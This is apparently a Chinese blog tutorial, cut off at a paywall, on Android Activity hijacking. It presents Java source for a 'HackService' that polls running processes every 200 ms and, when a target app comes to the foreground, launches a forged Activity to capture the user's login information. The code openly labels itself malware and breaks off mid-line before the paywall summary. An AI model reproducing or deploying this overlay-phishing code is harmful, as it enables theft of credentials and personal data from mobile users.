Android-Acitivity劫持
由于Android的设计缺陷,当我们为Activity指定标志位FLAG_ ACTIVITY_ NEW_ TASK时,就能使Activity置于栈顶,并呈现给用户。
当然利用这个缺陷可以做很多羞羞的事情 【==】可以劫持用户信息,可以无限弹框(-。-;)等等ect.
今天我们来实现Activity劫持的代码:
1.通过遍历所有的进程,得到当前前台正在运行的应用进程
2.判断是否是目标进程,如果是启动伪造的Activity,对用户信息进行劫持。
hackService用于执行劫持主要逻辑
public class HackService extends Service {
//targetMap用于存放我们的目标程序
HashMap<String, Class<?>> targetMap = new HashMap<String, Class<?>>();
Handler handler = new Handler();
boolean isStart = false;
//我们新建一个Runnable对象,每隔200ms进行一次搜索
Runnable searchTarget = new Runnable() {
@Override
public void run() {
//得到ActivityManager
ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
//通过ActivityManager将当前正在运行的进程存入processInfo中
List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses();
Log.w("恶意软件", "遍历进程");
//遍历processInfo中的进程信息,看是否有我们的目标
for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {
//若processInfo中的进程正在前台且是我们的目标进程,则调用hijack方法进行劫持
if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
i

本文探讨了Android系统的一个设计缺陷,当Activity使用FLAG_ACTIVITY_NEW_TASK标志时,可能导致Activity劫持。利用此漏洞,攻击者可以劫持用户信息、无限弹窗等。文章介绍了实现Activity劫持的步骤,包括使用hackService执行主要逻辑,创建hackApplication自定义应用,以及在MainActivity中展示伪造Activity的效果。
最低0.47元/天 解锁文章
2025

被折叠的 条评论
为什么被折叠?



